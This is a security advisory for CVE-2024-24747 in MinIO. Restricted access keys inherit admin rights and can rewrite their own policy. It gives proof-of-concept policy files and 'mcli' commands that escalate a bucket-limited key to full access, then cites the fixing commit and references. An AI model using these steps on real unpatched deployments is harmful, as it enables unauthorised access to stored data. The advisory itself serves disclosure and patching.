Minio unsafe default: Access keys inherit `admin` of root user, allowing privilege escalation

### Summary When someone creates an access key, it inherits the permissions of the parent key. Not only for `s3:*` actions, but also `admin:*` actions. Which means unless somewhere above in the access-key hierarchy, the `admin` rights are denied, access keys will be able to simply override their own `s3` permissions to something more permissive. Credit to @xSke for sort of accidentally discovering this. I only understood the implications. ### Details / PoC We spun up the latest version of minio in a docker container and signed in to the admin UI using the minio root user. We created two buckets, `public` and `private` and created an access key called `mycat` and attached the following policy to only allow access to the bucket called `public`. ```json { "Version": "2012-10-17", "Statement": [ { "Effect": "Allow", "Action": [ "s3:*" ], "Resource": [ "arn:aws:s3:::public", "arn:aws:s3:::public/*" ] } ] } ``` We then set an alias in mc: `mcli alias set vuln http://localhost:9001 mycat mycatiscute` And checked whether policy works: ``` A ~/c/minio-vuln mcli ls vuln [0001-01-01 00:53:28 LMT] 0B public/ ``` Looks good, we believe this is how 99% of users will work with access policies. If I now create a file `full-access-policy.json`: ```json { "Version": "2012-10-17", "Statement": [ { "Effect": "Allow", "Action": [ "s3:*" ], "Resource": [ "arn:aws:s3:::*" ] } ] } ``` And then: ```sh A ~/c/minio-vuln mcli admin user svcacct edit --policy full-access-policy.json vuln mycat Edited service account `mycat` successfully. ``` `mycat` has escalated its privileges to get access to the entire deployment: ```sh A ~/c/minio-vuln mcli ls vuln [0001-01-01 00:53:28 LMT] 0B private/ [0001-01-01 00:53:28 LMT] 0B public/ ``` ### Impact A trivial privilege escalation unless the operator fully understands that they need to explicitly deny `admin` actions on access keys. ### Patched ``` commit 0ae4915a9391ef4b3ec80f5fcdcf24ee6884e776 (HEAD -> master, origin/master) Author: Aditya Manthramurthy <donatello@users.noreply.github.com> Date: Wed Jan 31 10:56:45 2024 -0800 fix: permission checks for editing access keys (#18928) With this change, only a user with `UpdateServiceAccountAdminAction` permission is able to edit access keys. We would like to let a user edit their own access keys, however the feature needs to be re-designed for better security and integration with external systems like AD/LDAP and OpenID. This change prevents privilege escalation via service accounts. ```

CVSS 3.1

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Severity from

GitHub (reviewed advisory)

Weakness

CWE-269

Also known as

BIT-minio-2024-24747, CVE-2024-24747, GO-2024-2499

• github.com/minio/minio/security/advisories/GHSA-xx8w-mq23-29g4
• nvd.nist.gov/vuln/detail/CVE-2024-24747
• github.com/minio/minio/commit/0ae4915a9391ef4b3ec80f5fcdcf24ee6884e776
• github.com/minio/minio
• github.com/minio/minio/releases/tag/RELEASE.2024-01-31T20-20-33Z